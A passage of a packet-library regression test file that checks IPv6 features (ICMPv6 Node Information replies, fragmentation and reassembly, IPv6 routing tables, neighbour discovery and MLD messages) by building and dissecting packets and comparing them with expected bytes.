(internal) a=ICMPv6NIReplyNOOP(data="169.254.253.010").getfieldval("data") type(a) is tuple and len(a) == 2 and a[0] == 0 and a[1] == b"169.254.253.010" = ICMPv6NIReplyNOOP - IPv4 address without hint => understood as string ICMPv6NIReplyNOOP(data="169.254.253.010").data == b"169.254.253.010" ############ ############ + Test Node Information Query - ICMPv6NIReplyName = ICMPv6NIReplyName - single label DNS name as a rawing (without ttl) (internal) a=ICMPv6NIReplyName(data="abricot").getfieldval("data") type(a) is tuple and len(a) == 2 and a[0] == 2 and type(a[1]) is list and len(a[1]) == 2 and a[1][0] == 0 and a[1][1] == b'\x07abricot\x00\x00' = ICMPv6NIReplyName - single label DNS name as a rawing (without ttl) ICMPv6NIReplyName(data="abricot").data == [0, b"abricot"] = ICMPv6NIReplyName - fqdn name as a rawing (without ttl) (internal) a=ICMPv6NIReplyName(data="n.d.tld").getfieldval("data") type(a) is tuple and len(a) == 2 and a[0] == 2 and type(a[1]) is list and len(a[1]) == 2 and a[1][0] == 0 and a[1][1] == b'\x01n\x01d\x03tld\x00' = ICMPv6NIReplyName - fqdn name as a rawing (without ttl) ICMPv6NIReplyName(data="n.d.tld").data == [0, b'n.d.tld'] = ICMPv6NIReplyName - list of 2 single label DNS names (without ttl) (internal) a=ICMPv6NIReplyName(data=["abricot", "poire"]).getfieldval("data") type(a) is tuple and len(a) == 2 and a[0] == 2 and type(a[1]) is list and len(a[1]) == 2 and a[1][0] == 0 and a[1][1] == b'\x07abricot\x00\x00\x05poire\x00\x00' = ICMPv6NIReplyName - list of 2 single label DNS names (without ttl) ICMPv6NIReplyName(data=["abricot", "poire"]).data == [0, b"abricot", b"poire"] = ICMPv6NIReplyName - [ttl, single-label, single-label, fqdn] (internal) a=ICMPv6NIReplyName(data=[42, "abricot", "poire", "n.d.tld"]).getfieldval("data") type(a) is tuple and len(a) == 2 and a[0] == 2 and type(a[1]) is list and len(a[1]) == 2 and a[1][0] == 42 and a[1][1] == b'\x07abricot\x00\x00\x05poire\x00\x00\x01n\x01d\x03tld\x00' = ICMPv6NIReplyName - [ttl, single-label, single-label, fqdn] ICMPv6NIReplyName(data=[42, "abricot", "poire", "n.d.tld"]).data == [42, b"abricot", b"poire", b"n.d.tld"] = ICMPv6NIReplyName - dissection s = b'\x8c\x00\xd1\x0f\x00\x02\x00\x00\x00\x00\xd9$\x94\x8d\xc6%\x00\x00\x00\x00\x07freebsd\x00\x00' p = ICMPv6NIReplyName(s) p.show() assert ICMPv6NIReplyName in p and p.data == [0, b'freebsd'] ############ ############ + Test Node Information Query - ICMPv6NIReplyIPv6 = ICMPv6NIReplyIPv6 - one IPv6 address without TTL (internal) a=ICMPv6NIReplyIPv6(data="2001:db8::1").getfieldval("data") type(a) is tuple and len(a) == 2 and a[0] == 3 and type(a[1]) is list and len(a[1]) == 1 and type(a[1][0]) is tuple and len(a[1][0]) == 2 and a[1][0][0] == 0 and a[1][0][1] == "2001:db8::1" = ICMPv6NIReplyIPv6 - one IPv6 address without TTL ICMPv6NIReplyIPv6(data="2001:db8::1").data == [(0, '2001:db8::1')] = ICMPv6NIReplyIPv6 - one IPv6 address without TTL (as a list) (internal) a=ICMPv6NIReplyIPv6(data=["2001:db8::1"]).getfieldval("data") type(a) is tuple and len(a) == 2 and a[0] == 3 and type(a[1]) is list and len(a[1]) == 1 and type(a[1][0]) is tuple and len(a[1][0]) == 2 and a[1][0][0] == 0 and a[1][0][1] == "2001:db8::1" = ICMPv6NIReplyIPv6 - one IPv6 address without TTL (as a list) ICMPv6NIReplyIPv6(data=["2001:db8::1"]).data == [(0, '2001:db8::1')] = ICMPv6NIReplyIPv6 - one IPv6 address with TTL (internal) a=ICMPv6NIReplyIPv6(data=[(0, "2001:db8::1")]).getfieldval("data") type(a) is tuple and len(a) == 2 and a[0] == 3 and type(a[1]) is list and len(a[1]) == 1 and type(a[1][0]) is tuple and len(a[1][0]) == 2 and a[1][0][0] == 0 and a[1][0][1] == "2001:db8::1" = ICMPv6NIReplyIPv6 - one IPv6 address with TTL ICMPv6NIReplyIPv6(data=[(0, "2001:db8::1")]).data == [(0, '2001:db8::1')] = ICMPv6NIReplyIPv6 - two IPv6 addresses as a list of rawings (without TTL) (internal) a=ICMPv6NIReplyIPv6(data=["2001:db8::1", "2001:db8::2"]).getfieldval("data") type(a) is tuple and len(a) == 2 and a[0] == 3 and type(a[1]) is list and len(a[1]) == 2 and type(a[1][0]) is tuple and len(a[1][0]) == 2 and a[1][0][0] == 0 and a[1][0][1] == "2001:db8::1" and len(a[1][1]) == 2 and a[1][1][0] == 0 and a[1][1][1] == "2001:db8::2" = ICMPv6NIReplyIPv6 - two IPv6 addresses as a list of rawings (without TTL) ICMPv6NIReplyIPv6(data=["2001:db8::1", "2001:db8::2"]).data == [(0, '2001:db8::1'), (0, '2001:db8::2')] = ICMPv6NIReplyIPv6 - two IPv6 addresses as a list (first with ttl, second without) (internal) a=ICMPv6NIReplyIPv6(data=[(42, "2001:db8::1"), "2001:db8::2"]).getfieldval("data") type(a) is tuple and len(a) == 2 and a[0] == 3 and type(a[1]) is list and len(a[1]) == 2 and type(a[1][0]) is tuple and len(a[1][0]) == 2 and a[1][0][0] == 42 and a[1][0][1] == "2001:db8::1" and len(a[1][1]) == 2 and a[1][1][0] == 0 and a[1][1][1] == "2001:db8::2" = ICMPv6NIReplyIPv6 - two IPv6 addresses as a list (first with ttl, second without) ICMPv6NIReplyIPv6(data=[(42, "2001:db8::1"), "2001:db8::2"]).data == [(42, "2001:db8::1"), (0, "2001:db8::2")] = ICMPv6NIReplyIPv6 - build & dissection s = raw(IPv6()/ICMPv6NIReplyIPv6(data="2001:db8::1")) p = IPv6(s) ICMPv6NIReplyIPv6 in p and p.data == [(0, '2001:db8::1')] ############ ############ + Test Node Information Query - ICMPv6NIReplyIPv4 = ICMPv6NIReplyIPv4 - one IPv4 address without TTL (internal) a=ICMPv6NIReplyIPv4(data="169.254.253.252").getfieldval("data") type(a) is tuple and len(a) == 2 and a[0] == 4 and type(a[1]) is list and len(a[1]) == 1 and type(a[1][0]) is tuple and len(a[1][0]) == 2 and a[1][0][0] == 0 and a[1][0][1] == "169.254.253.252" = ICMPv6NIReplyIPv4 - one IPv4 address without TTL ICMPv6NIReplyIPv4(data="169.254.253.252").data == [(0, '169.254.253.252')] = ICMPv6NIReplyIPv4 - one IPv4 address without TTL (as a list) (internal) a=ICMPv6NIReplyIPv4(data=["169.254.253.252"]).getfieldval("data") type(a) is tuple and len(a) == 2 and a[0] == 4 and type(a[1]) is list and len(a[1]) == 1 and type(a[1][0]) is tuple and len(a[1][0]) == 2 and a[1][0][0] == 0 and a[1][0][1] == "169.254.253.252" = ICMPv6NIReplyIPv4 - one IPv4 address without TTL (as a list) ICMPv6NIReplyIPv4(data=["169.254.253.252"]).data == [(0, '169.254.253.252')] = ICMPv6NIReplyIPv4 - one IPv4 address with TTL (internal) a=ICMPv6NIReplyIPv4(data=[(0, "169.254.253.252")]).getfieldval("data") type(a) is tuple and len(a) == 2 and a[0] == 4 and type(a[1]) is list and len(a[1]) == 1 and type(a[1][0]) is tuple and len(a[1][0]) == 2 and a[1][0][0] == 0 and a[1][0][1] == "169.254.253.252" = ICMPv6NIReplyIPv4 - one IPv4 address with TTL (internal) ICMPv6NIReplyIPv4(data=[(0, "169.254.253.252")]).data == [(0, '169.254.253.252')] = ICMPv6NIReplyIPv4 - two IPv4 addresses as a list of rawings (without TTL) a=ICMPv6NIReplyIPv4(data=["169.254.253.252", "169.254.253.253"]).getfieldval("data") type(a) is tuple and len(a) == 2 and a[0] == 4 and type(a[1]) is list and len(a[1]) == 2 and type(a[1][0]) is tuple and len(a[1][0]) == 2 and a[1][0][0] == 0 and a[1][0][1] == "169.254.253.252" and len(a[1][1]) == 2 and a[1][1][0] == 0 and a[1][1][1] == "169.254.253.253" = ICMPv6NIReplyIPv4 - two IPv4 addresses as a list of rawings (without TTL) (internal) ICMPv6NIReplyIPv4(data=["169.254.253.252", "169.254.253.253"]).data == [(0, '169.254.253.252'), (0, '169.254.253.253')] = ICMPv6NIReplyIPv4 - two IPv4 addresses as a list (first with ttl, second without) a=ICMPv6NIReplyIPv4(data=[(42, "169.254.253.252"), "169.254.253.253"]).getfieldval("data") type(a) is tuple and len(a) == 2 and a[0] == 4 and type(a[1]) is list and len(a[1]) == 2 and type(a[1][0]) is tuple and len(a[1][0]) == 2 and a[1][0][0] == 42 and a[1][0][1] == "169.254.253.252" and len(a[1][1]) == 2 and a[1][1][0] == 0 and a[1][1][1] == "169.254.253.253" = ICMPv6NIReplyIPv4 - two IPv4 addresses as a list (first with ttl, second without) (internal) ICMPv6NIReplyIPv4(data=[(42, "169.254.253.252"), "169.254.253.253"]).data == [(42, "169.254.253.252"), (0, "169.254.253.253")] = ICMPv6NIReplyIPv4 - build & dissection s = raw(IPv6()/ICMPv6NIReplyIPv4(data="192.168.0.1")) p = IPv6(s) ICMPv6NIReplyIPv4 in p and p.data == [(0, '192.168.0.1')] s = raw(IPv6()/ICMPv6NIReplyIPv4(data=[(2807, "192.168.0.1")])) p = IPv6(s) ICMPv6NIReplyIPv4 in p and p.data == [(2807, "192.168.0.1")] ############ ############ + Test Node Information Query - ICMPv6NIReplyRefuse = ICMPv6NIReplyRefuse - basic instantiation raw(ICMPv6NIReplyRefuse())[:8] == b'\x8c\x01\x00\x00\x00\x00\x00\x00' = ICMPv6NIReplyRefuse - basic dissection a=ICMPv6NIReplyRefuse(b'\x8c\x01\x00\x00\x00\x00\x00\x00\xf1\xe9\xab\xc9\x8c\x0by\x18') a.type == 140 and a.code == 1 and a.cksum == 0 and a.unused == 0 and a.flags == 0 and a.nonce == b'\xf1\xe9\xab\xc9\x8c\x0by\x18' and a.data == b"" ############ ############ + Test Node Information Query - ICMPv6NIReplyUnknown = ICMPv6NIReplyUnknown - basic instantiation raw(ICMPv6NIReplyUnknown(nonce=b'\x00'*8)) == b'\x8c\x02\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' = ICMPv6NIReplyRefuse - basic dissection a=ICMPv6NIReplyRefuse(b'\x8c\x02\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00') a.type == 140 and a.code == 2 and a.cksum == 0 and a.unused == 0 and a.flags == 0 and a.nonce == b'\x00'*8 and a.data == b"" ############ ############ + Test Node Information Query - utilities = computeNIGroupAddr computeNIGroupAddr("scapy") == "ff02::2:f886:2f66" ############ ############ + IPv6ExtHdrFragment Class Test = IPv6ExtHdrFragment - Basic Instantiation raw(IPv6ExtHdrFragment()) == b';\x00\x00\x00\x00\x00\x00\x00' = IPv6ExtHdrFragment - Instantiation with specific values raw(IPv6ExtHdrFragment(nh=0xff, res1=0xee, offset=0x1fff, res2=1, m=1, id=0x11111111)) == b'\xff\xee\xff\xfb\x11\x11\x11\x11' = IPv6ExtHdrFragment - Basic Dissection a=IPv6ExtHdrFragment(b';\x00\x00\x00\x00\x00\x00\x00') a.nh == 59 and a.res1 == 0 and a.offset == 0 and a.res2 == 0 and a.m == 0 and a.id == 0 = IPv6ExtHdrFragment - Instantiation with specific values a=IPv6ExtHdrFragment(b'\xff\xee\xff\xfb\x11\x11\x11\x11') a.nh == 0xff and a.res1 == 0xee and a.offset==0x1fff and a.res2==1 and a.m == 1 and a.id == 0x11111111 = IPv6 - IPv6ExtHdrFragment hashret a=IPv6()/IPv6ExtHdrFragment(b'\xff\xee\xff\xfb\x11\x11\x11\x11') a.hashret() == b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xff' ############ ############ + Test fragment6 function = fragment6 - test against a long TCP packet with a 1280 MTU l=fragment6(IPv6()/IPv6ExtHdrFragment()/TCP()/Raw(load="A"*40000), 1280) len(l) == 33 and len(raw(l[-1])) == 644 = fragment6 - test against a long TCP packet with a 1280 MTU without fragment header l=fragment6(IPv6()/TCP()/Raw(load="A"*40000), 1280) len(l) == 33 and len(raw(l[-1])) == 644 ############ ############ + Test defragment6 function = defragment6 - test against a long TCP packet fragmented with a 1280 MTU l=fragment6(IPv6()/IPv6ExtHdrFragment()/TCP()/Raw(load="A"*40000), 1280) raw(defragment6(l)) == (b'`\x00\x00\x00\x9cT\x06@\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x14\x00P\x00\x00\x00\x00\x00\x00\x00\x00P\x02 \x00\xe92\x00\x00' + b'A'*40000) = defragment6 - test against packets with L2 header l=defragment6(fragment6(Ether()/IPv6()/IPv6ExtHdrFragment()/TCP()/Raw(load="A"*2000), 1280)) Ether in l = defragment6 - test against a large TCP packet fragmented with a 1280 bytes MTU and missing fragments l=fragment6(IPv6()/IPv6ExtHdrFragment()/TCP()/Raw(load="A"*40000), 1280) del l[2] del l[4] del l[12] del l[18] raw(defragment6(l)) == (b'`\x00\x00\x00\x9cT\x06@\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x14\x00P\x00\x00\x00\x00\x00\x00\x00\x00P\x02 \x00\xe92\x00\x00' + 2444*b'A' + 1232*b'X' + 2464*b'A' + 1232*b'X' + 9856*b'A' + 1232*b'X' + 7392*b'A' + 1232*b'X' + 12916*b'A') = defragment6 - test against a TCP packet fragmented with a 800 bytes MTU and missing fragments l=fragment6(IPv6()/IPv6ExtHdrFragment()/TCP()/Raw(load="A"*4000), 800) del l[4] del l[2] raw(defragment6(l)) == b'`\x00\x00\x00\x0f\xb4\x06@\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x14\x00P\x00\x00\x00\x00\x00\x00\x00\x00P\x02 \x00\xb2\x0f\x00\x00AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA' = defragment6 - test the packet length pkts = fragment6(IPv6()/IPv6ExtHdrFragment()/UDP(dport=42, sport=42)/Raw(load="A"*1500), 1280) pkts = [IPv6(raw(p)) for p in pkts] assert defragment6(pkts).plen == 1508 = defragment6 - discard payload pkt = Ether() / IPv6() / ICMPv6EchoRequest(data='b'*100) frags = fragment6(pkt, 100) pkt = defragment6(Ether(raw(frag / Padding(b'a' * 8))) for frag in frags) assert b'a' not in pkt.data ############ ############ + Test Route6 class = Fake interfaces conf.ifaces._add_fake_iface("eth0") conf.ifaces._add_fake_iface("lo") conf.ifaces._add_fake_iface("scapy0") = Route6 - Route6 flushing conf_iface = conf.iface conf.iface = "eth0" conf.route6.routes=[ ( '::1', 128, '::', 'lo', ['::1'], 1), ( 'fe80::20f:1fff:feca:4650', 128, '::', 'lo', ['::1'], 1)] conf.route6.flush() not conf.route6.routes = Route6 - Route6.route conf.route6.flush() conf.route6.ipv6_ifaces = set(['lo', 'eth0']) conf.route6.routes=[ ( '::1', 128, '::', 'lo', ['::1'], 1), ( 'fe80::20f:1fff:feca:4650', 128, '::', 'lo', ['::1'], 1), ( 'fe80::', 64, '::', 'eth0', ['fe80::20f:1fff:feca:4650'], 1), ('2001:db8:0:4444:20f:1fff:feca:4650', 128, '::', 'lo', ['::1'], 1), ( '2001:db8:0:4444::', 64, '::', 'eth0', ['2001:db8:0:4444:20f:1fff:feca:4650'], 1), ( '::', 0, 'fe80::20f:34ff:fe8a:8aa1', 'eth0', ['2001:db8:0:4444:20f:1fff:feca:4650', '2002:db8:0:4444:20f:1fff:feca:4650'], 1) ] assert conf.route6.route("2002::1") == ('eth0', '2002:db8:0:4444:20f:1fff:feca:4650', 'fe80::20f:34ff:fe8a:8aa1') assert conf.route6.route("2001::1") == ('eth0', '2001:db8:0:4444:20f:1fff:feca:4650', 'fe80::20f:34ff:fe8a:8aa1') assert conf.route6.route("fe80::20f:1fff:feab:4870") == ('eth0', 'fe80::20f:1fff:feca:4650', '::') assert conf.route6.route("::1") == ('lo', '::1', '::') assert conf.route6.route("::") == ('eth0', '2001:db8:0:4444:20f:1fff:feca:4650', 'fe80::20f:34ff:fe8a:8aa1') assert conf.route6.route('ff00::') == ('eth0', '2001:db8:0:4444:20f:1fff:feca:4650', 'fe80::20f:34ff:fe8a:8aa1') conf.iface = conf_iface conf.route6.resync() if not len(conf.route6.routes): # IPv6 seems disabled. Force a route to ::1 conf.route6.routes.append(("::1", 128, "::", conf.loopback_name, ["::1"], 1)) True = Route6 - Route6.make_route r6 = Route6() r6.make_route("2001:db8::1", dev=conf.loopback_name) in [ ("2001:db8::1", 128, "::", conf.loopback_name, [], 1), ("2001:db8::1", 128, "::", conf.loopback_name, ["::1"], 1) ] len_r6 = len(r6.routes) = Route6 - Route6.add & Route6.delt r6.add(dst="2001:db8:cafe:f000::/64", gw="2001:db8:cafe::1", dev="eth0") assert len(r6.routes) == len_r6 + 1 r6.delt(dst="2001:db8:cafe:f000::/64", gw="2001:db8:cafe::1") assert len(r6.routes) == len_r6 = Route6 - Route6.ifadd & Route6.ifdel r6.ifadd("scapy0", "2001:bd8:cafe:1::1/64") r6.ifdel("scapy0") = IPv6 - utils from unittest import mock @mock.patch("scapy.layers.inet6.get_if_hwaddr") @mock.patch("scapy.layers.inet6.srp1") def test_neighsol(mock_srp1, mock_get_if_hwaddr): mock_srp1.return_value = Ether()/IPv6()/ICMPv6ND_NA()/ICMPv6NDOptDstLLAddr(lladdr="05:04:03:02:01:00") mock_get_if_hwaddr.return_value = "00:01:02:03:04:05" return neighsol("fe80::f6ce:46ff:fea9:e04b", "fe80::f6ce:46ff:fea9:e04b", "scapy0") p = test_neighsol() ICMPv6NDOptDstLLAddr in p and p[ICMPv6NDOptDstLLAddr].lladdr == "05:04:03:02:01:00" @mock.patch("scapy.layers.inet6.neighsol") @mock.patch("scapy.layers.inet6.conf.route6.route") def test_getmacbyip6(mock_route6, mock_neighsol): mock_route6.return_value = ("scapy0", "fe80::baca:3aff:fe72:b08b", "::") mock_neighsol.return_value = test_neighsol() return getmacbyip6("fe80::704:3ff:fe2:100") test_getmacbyip6() == "05:04:03:02:01:00" = IPv6 - IPerror6 & UDPerror & _ICMPv6Error & TCPerror query = IPv6(dst="2001:db8::1", src="2001:db8::2", hlim=1)/UDP()/DNS() answer = IPv6(dst="2001:db8::2", src="2001:db8::1", hlim=1)/ICMPv6TimeExceeded()/IPerror6(dst="2001:db8::1", src="2001:db8::2", hlim=0)/UDPerror()/DNS() answer.answers(query) == True # Test _ICMPv6Error from scapy.layers.inet6 import _ICMPv6Error assert _ICMPv6Error().guess_payload_class(None) == IPerror6 assert _ICMPv6Error().hashret() == b'' # Test with extension header # From: # pkt = IPv6() / ICMPv6DestUnreach() / IPerror6 () / IPv6ExtHdrFragment(nh=6) / TCPerror() raw_pkt = b'`\x00\x00\x00\x00L:@\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x01\x00l5\x00\x00\x00\x00`\x00\x00\x00\x00\x1c,@\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x06\x00\x00\x00\x00\x00\x00\x00\x00\x14\x00P\x00\x00\x00\x00\x00\x00\x00\x00P\x02 \x00\x8f}\x00\x00' IPv6(raw_pkt).summary() assert TCPerror in IPv6(raw_pkt) = reset routes properly conf.ifaces.reload() if WINDOWS: from scapy.arch.windows import _route_add_loopback _route_add_loopback() ############ ############ + ICMPv6ML = ICMPv6MLQuery - build & dissection s = raw(IPv6(src="fe80::1")/ICMPv6MLQuery()) assert s == b"`\x00\x00\x00\x00\x18:\x01\xfe\x80\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\xff\x02\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x82\x00Y\x17'\x10\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" p = IPv6(s) assert ICMPv6MLQuery in p and p[IPv6].dst == "ff02::1" = Check answers q = IPv6()/IPv6ExtHdrHopByHop(options=[RouterAlert()])/ICMPv6MLQuery() a = IPv6()/IPv6ExtHdrHopByHop(options=[RouterAlert()])/ICMPv6MLReport() assert a.answers(q) ############ ############ + ICMPv6MLv2 = ICMPv6MLQuery2 - build & dissection p = IPv6()/IPv6ExtHdrHopByHop(options=[RouterAlert()])/ICMPv6MLQuery2(sources=["::1"]) s = raw(p) assert s == b"`\x00\x00\x00\x004\x00@\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01:\x00\x05\x02\x00\x00\x01\x00\x82\x00V\x85'\x10\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01" p = IPv6(s) assert ICMPv6MLQuery2 in p and p.sources_number == 1 = ICMPv6MLReport2 - build & dissection p = IPv6()/IPv6ExtHdrHopByHop(options=[RouterAlert()])/ICMPv6MLReport2(records=[ICMPv6MLDMultAddrRec(), ICMPv6MLDMultAddrRec(sources=["::1"], auxdata="scapy")]) s = raw(p) assert s == 